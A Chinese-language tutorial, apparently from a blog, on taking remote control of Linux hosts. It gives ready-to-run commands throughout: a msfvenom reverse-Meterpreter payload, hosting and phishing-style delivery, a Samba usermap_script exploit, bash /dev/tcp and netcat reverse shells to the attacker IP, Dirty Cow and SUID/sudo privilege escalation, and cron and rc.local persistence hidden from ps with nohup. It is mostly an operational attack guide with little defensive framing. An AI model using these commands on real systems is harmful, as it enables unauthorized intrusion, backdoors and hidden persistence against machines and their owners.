Linux Exploit实现远程控制的核心流程与方法
在进行远程控制之前,需先识别目标Linux系统的可利用漏洞(如Samba服务漏洞、内核漏洞、SUID配置错误、计划任务可写等)。可通过以下方式收集信息:
nmap -Pn 目标IP),识别运行中的服务及版本;searchsploit)查找适配的漏洞利用脚本(例如searchsploit samba可获取Samba相关漏洞的exp)。Payload是实现远程控制的关键载体,需根据目标系统架构(x86/x64)和漏洞特性选择合适的类型。常见Payload包括:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=8888 -f elf > mshell.elf
-p:指定Payload类型(linux/x64/meterpreter/reverse_tcp为反向TCP Meterpreter);LHOST:攻击机IP(目标将连接至此地址);LPORT:攻击机监听端口(如8888);-f elf:生成ELF格式文件(适用于Linux);mshell.elf:生成的恶意木马文件。若目标需通过网络下载Payload,可在攻击机上启动HTTP服务(如Kali使用Python):
sudo python3 -m http.server 80 # Python 3
将生成的mshell.elf放置在HTTP根目录(如/var/www/html/),目标可通过http://攻击机IP/mshell.elf下载。
在Metasploit中配置监听器,等待目标连接并建立交互式Shell:
msfconsole
use exploit/multi/handler # 使用多平台Handler模块
set payload linux/x64/meterpreter/reverse_tcp # 匹配Payload类型
set LHOST 攻击机IP # 与生成Payload时的LHOST一致
set LPORT 8888 # 与生成Payload时的LPORT一致
run # 启动监听
通过钓鱼、命令注入或其他方式,让目标系统执行下载的mshell.elf(如chmod +x mshell.elf && ./mshell.elf)。执行后,目标将主动连接攻击机的LHOST: LPORT,建立反向隧道。
若目标存在命令执行漏洞(如Samba的usermap_script漏洞),可直接通过漏洞命令反弹Shell:
use exploit/multi/samba/usermap_script # 使用Samba漏洞模块
set payload cmd/unix/reverse # 选择反向Shell Payload
set RHOST 目标IP # 目标IP
set LHOST 攻击机IP # 攻击机IP
exploit # 执行攻击
成功后会返回一个交互式Shell(whoami可验证权限)。bash或nc反弹Shell:bash -i >& /dev/tcp/攻击机IP/8888 0>&1 # Bash反弹
nc -e /bin/sh 攻击机IP 8888 # Netcat反弹(需目标安装nc)
获取初始Shell后,需进一步提升权限至root(完全控制),并设置持久化机制(避免重启失效)。
uname -a查看内核版本,使用searchsploit查找适配的漏洞exp(如Dirty Cow漏洞searchsploit dirtycow),编译后执行(如gcc -pthread 40839.c -o 40839 -lcrypt && ./40839);find / -perm -4000 2>/dev/null),利用其执行特权命令(如find / -exec /bin/bash \;);sudo -l查看当前用户可执行的sudo命令,若有无需密码的高权限命令(如sudo /bin/bash),可直接提权;find /etc/cron* -writable 2>/dev/null),插入反弹Shell代码(如echo 'bash -i >& /dev/tcp/攻击机IP/8888 0>&1' >> /etc/cron.hourly/backup.sh),等待任务执行。crontab -e),定期执行反弹Shell(如* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/8888 0>&1');/etc/rc.local),开机自动执行;nohup(nohup bash -i >& /dev/tcp/攻击机IP/8888 0>&1 &)或disown让进程脱离终端,避免被ps命令发现。